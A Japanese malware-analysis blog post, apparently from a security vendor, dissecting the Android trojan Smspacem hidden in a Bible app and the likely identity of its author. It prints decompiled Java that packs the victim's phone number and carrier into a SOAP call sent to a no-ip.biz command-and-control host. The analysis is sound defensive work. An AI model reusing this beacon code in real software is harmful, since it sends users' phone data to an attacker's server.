Android.Smspacemの詳細な検証結果

数日前、Android/Smspacem.A!trと呼ばれる新しいマルウェアがAndroidユーザの間で出現しました。このマルウェアはHoly F***ing Bibleと呼ばれる正規(だが賛否両論)のアプリケーションにトロイの木馬を送り込みます。この悪意ある攻撃は5月21日から22日にかけてのみ出現しました。デバイスの壁紙を変えて、アンチクリスチャンのジョークが書かれたSMSメッセージをすべてのユーザの電話コンタクトに対して送信しました。さらに、そのマルウェアは、いくつかのコマンドに反応します。それらのコマンドは、"health"(SMSコマンド)、"formula401″および"pacem"(コマンド&コントロール サーバ上でWebサービスをポーリングすることで取得される、Webサービス コマンド)です。このマルウェアがどのようにこれらのコマンドに反応するかは、こちらのサイト(英文)で分かりやすく説明されています。

私の知る限りでは、Webサービスを通してコマンドを処理することが、"第一歩"のアクションです。以下で、Webサービスに全くなじみのない人向けにこのコードを説明したいと思います。

SoapObject localSoapObject1 = new org/ksoap2/serialization/SoapObject;
SoapObject localSoapObject2 = localSoapObject1;
String str7 = "http://tempuri.org/";
String str8 = "openmic";
localSoapObject2.(str7, str8);

このコードはJavaの逆アセンブラにDexを出力したものなので、あまり読みやすくありませんが、基本的には、マルウェアはSOAPオブジェクトのインスタンスを作成していることが分かります。org.ksoap2.serialization.SoapObjectの記述は次の通りです。

SoapObject(java.lang.String namespace, java.lang.String name)

つまり、http://tempuri.org/はXMLのネームスペースです。これは悪意あるものではありません。そして、"openmic"は、マルウェアが呼び出そうとするメソッド/Webサービスに対応しています。

さらに、当該コードは以下のように続きます。

String str9 = this.val$cellnumb;
SoapObject localSoapObject3 = localSoapObject1;
String str10 = "cell";
String str11 = str9;
SoapObject localSoapObject4 = localSoapObject3.addProperty(str10, str11);
String str12 = this.val$opname;
SoapObject localSoapObject5 = localSoapObject1;
String str13 = "opname";
String str14 = str12;
SoapObject localSoapObject6 = localSoapObject5.addProperty(str13, str14);

このコードは、2つのプロパティがSOAPオブジェクトに追加されていることを示しています。"cell"と呼ばれるプロパティは感染デバイスの電話番号を収容しており、"opname"と呼ばれるプロパティは電話会社の名前に対応しています。両方の値(電話番号と電話会社の名前)は、起動時にこのマルウェアによって収集されています。

次に、このマルウェアはリモートのWebサイトにSOAPオブジェクトを送信する必要があります。そうするためには、オブジェクトを数回に分けてシリアル化します(このパートに対応するコードは飛ばそうと思いますが、手短に説明すると、localSoapSerializationEnvelope1と呼ばれる封筒の中に収容されます。)そして、以下に示すように、リモート アドレス(攻撃者、つまり単純なC&Cサーバに支配されている)に対してHTTP経由でSOAPオブジェクトを送信していることが分かります。

http://[REMOVED].no-ip.biz/talktome.asmx

最後に、C&Cからのリプライ(例えば、"formula401"や"pacem")を待ちます。

AndroidHttpTransport localAndroidHttpTransport1 = new
   org/ksoap2/transport/AndroidHttpTransport;
AndroidHttpTransport localAndroidHttpTransport2 = localAndroidHttpTransport1;
String str15 = "http://[REMOVED].no-ip.biz/talktome.asmx";
localAndroidHttpTransport2.(str15);
AndroidHttpTransport localAndroidHttpTransport3 = localAndroidHttpTransport1;
String str16 = "http://tempuri.org/openmic";
SoapSerializationEnvelope localSoapSerializationEnvelope4 =
    localSoapSerializationEnvelope1;
localAndroidHttpTransport3.call(str16, localSoapSerializationEnvelope4);
String str17 = ((SoapPrimitive)
    localSoapSerializationEnvelope1.getResponse()).toString();

このマルウェアは米国のエンドユーザをターゲットにしているというIrfan Asrarの意見に私も賛同します。さらに付け足しますが、マルウェア作成者は米国に住んでいると考えています。実のところ、Asrarも言っているように、アメリカの風刺的な深夜番組であるColbert Reportについていくつか言及している部分があります。

  1. 5月21日、マルウェアは壁紙をStephen Colbertの画像にする
  2. formula401は、Colbert Reportの有名なタイトル ショーに言及している
  3. Androidマルウェアはholycolbert10.apkと名付けている

技術的なヒントによると、作成者は米国に住んでいるということも示唆されています。C&Cはマイアミに位置しているようです。

さらに、IPアドレスはホーム ユーザ(DSL)の個人的なWebサイトに接続している可能性が高いです。作成者はきっと、奇妙なユーモアのセンスを持ち合わせた(そして、やや道徳的な)才能のある開発者だろうと思います。そういうわけで、このマルウェアはフォーティネットが通常分析するものとは全く違うことも納得がいくでしょう。特に、このマルウェアを攻撃するにあたって金銭的な動機が全く見受けられません。ただ単に"自己顕示している"(?)のか、あるいは数人の人々を困らせようとしているのか。

読者のみなさんに覚えておいてほしいことは、この種のマルウェア作成者はとても少数になっているということです。最近の傾向として、多くのマルウェア作成者が不正なコードを書く目的は金銭のためであって、楽しみのためであったり、技術的な見せびらかしのためではありません。